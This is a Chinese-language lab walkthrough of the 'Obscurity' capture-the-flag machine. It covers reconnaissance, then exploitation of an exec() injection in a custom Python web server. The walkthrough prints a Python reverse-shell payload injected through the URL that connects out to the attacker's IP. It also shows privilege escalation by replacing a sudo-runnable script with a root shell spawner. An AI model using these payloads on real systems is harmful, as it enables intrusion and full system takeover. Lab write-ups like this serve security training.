實戰打靶之Obscurity
一、信息收集
1.端口掃描
使用nmap進行端口掃描,發現其開放了22、80、8080、9000端口。

訪問其8080端口,發現是一個web界面。

瀏覽頁面內容,提升有一些提示。

提示存在一個py腳本,訪問看看。

發現提示是404

2.目錄爆破
使用gobuster進行目錄爆破。
gobuster dir-u http://10.10.10.168:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt ,發現都是404.

3.使用wfuzz進行fuzz
由于我們不知道文件存放在那個具體路徑下,所以將使用wfuzzurl 來定位http://10.10.10.168:8080/FUZZ/SuperSecureServer.py其路徑。
wfuzz -c-w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367

發現它在/developer目錄之下。

訪問看看。成功看到腳本內容。


4.代碼分析
將源碼copy出來,然后進行分析。
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the received data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
在翻譯源碼過程中,第一眼就看到了注釋的地方。就想到了exec函數。

根據 This is how you do string formatting, right?,的意思:不,這不是您進行字符串格式化的方式。path將用戶輸入 ( )傳遞給exec總是很危險的。我開始翻閱代碼,看看是否可以控制path它何時進入serveDoc.
def handleRequest(self, request, conn, address):
if request.good:
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
還有這句注釋:Set the response to echo back the received data,然后開始讀源碼。如果這request.good為真,我會失去控制,path被硬編碼為"/errors/400.html".
handleRequest從以下位置調用listenToClient:
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the received data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
這是一個循環,它接收數據,處理成一個Request對象,然后調用handleRequest ,條件就是該Request對象.good是真,并且.doc是我的測試代碼。
該類Request將數據轉換為對象__init__:
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
只要數據具有帶有 url、版本、標題和正文等正常格式,它就會返回self.good = True. 而且,這doc就是 url 字符串中的內容,是可控的。
二、漏洞利用
當exec在該字符串上調用時,它會保存output,但也會進行os.system調用。如果我想使用subprocess而不是運行進程os,我需要這樣做。/';os.system('ping%20-c%201%2010.10.10.168');'
1.編寫poc
http://10.10.10.168:8080/';importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.140",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc開始監聽1234端口

2.反彈shell

進入home目錄下,發現存在一個SuperSecureCrypt.py腳本,使用-h命令會提示其用法。

還有一些pass.txt,check.txt等。

使用python獲得交互式shell,python3 -c 'import pty; pty.spawn("/bin/bash")'


3.獲取登錄密碼
在BetterSSH目錄下,存在解密腳本check.txt、out.txt及passwordreminder.txt。
使用腳本來獲取登錄密碼
python3 SuperSecureCrypt.py -i passwordreminder.txt -d-k alexandrovich -o /dev/shm/.df

成功獲取到登錄密碼。
4.SSH登錄
使用ssh進行遠程登錄。

成功找到了第一個user.txt文件。

三、權限提升
sudo -l 發現了存在BetterSSH.py可執行root.

1.腳本分析
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
這個腳本:
- 創建一個隨機路徑名。
- 從用戶那里讀取用戶名和密碼。
- 讀取/etc/shadow、提取包含 的行$并將其寫入/tmp/SSH/[random path].
- 睡眠 0.1 秒。
- 循環修剪文件中的每一行shadow,并根據輸入密碼的哈希檢查每個哈希。成功時,它設置session['authenticated'] = 1. 失敗時,它會刪除臨時shadow文件并退出。
- 刪除臨時shadow文件。
- 進入讀取命令、執行命令并顯示結果的無限循環。
2.創建一個/tmp/SSH目錄,必須是大寫,小寫的會報錯。
輸入之前獲取到的用戶和密碼。使用sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py執行腳本。

出現Authed,然后退出。

2.移動BetterSSH 目錄進行權限提升
使用ls -ld robert進行查看其權限,同理也查看一下BetterSSH的。

我的思路就是打算刪除這個目錄,然后重新創建一個,寫入提權的腳本。
使用rm -rf 強制刪除,提升權限不夠。這里有一個小trips,我們不能刪除,我們可以將它進行移動。然后在創建一個新的。使用mv BetterSSH{,-old}來完成操作。

然后mkdir創建新的目錄。使用echo寫入提權語法。最后使用sudo執行腳本。
echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")'
echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")' > BetterSSH/BetterSSH.py
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

3.獲得root權限
成功獲得root權限,并最后找到了root.txt,成功完成靶機。

總結:
靶機難度屬于中等靶機水平,全文思路就是信息收集,使用nmap或者masscan進行端口掃描,訪問web頁面,發現提示,接著使用wfuzz進行指定路徑fuzz。然后找到py腳本,接著進行腳本分析,發現腳本存在的漏洞。構造poc然后進行反彈shell,反彈shell之后,發現存在另一個新的腳本,存在密碼加密方式和密碼本。進行解密,解密之后使用ssh進行遠程登錄。使用sudo -l發現xx路徑下的python腳本擁有root權限,接著進行移動該目錄寫入提權語法成功提權。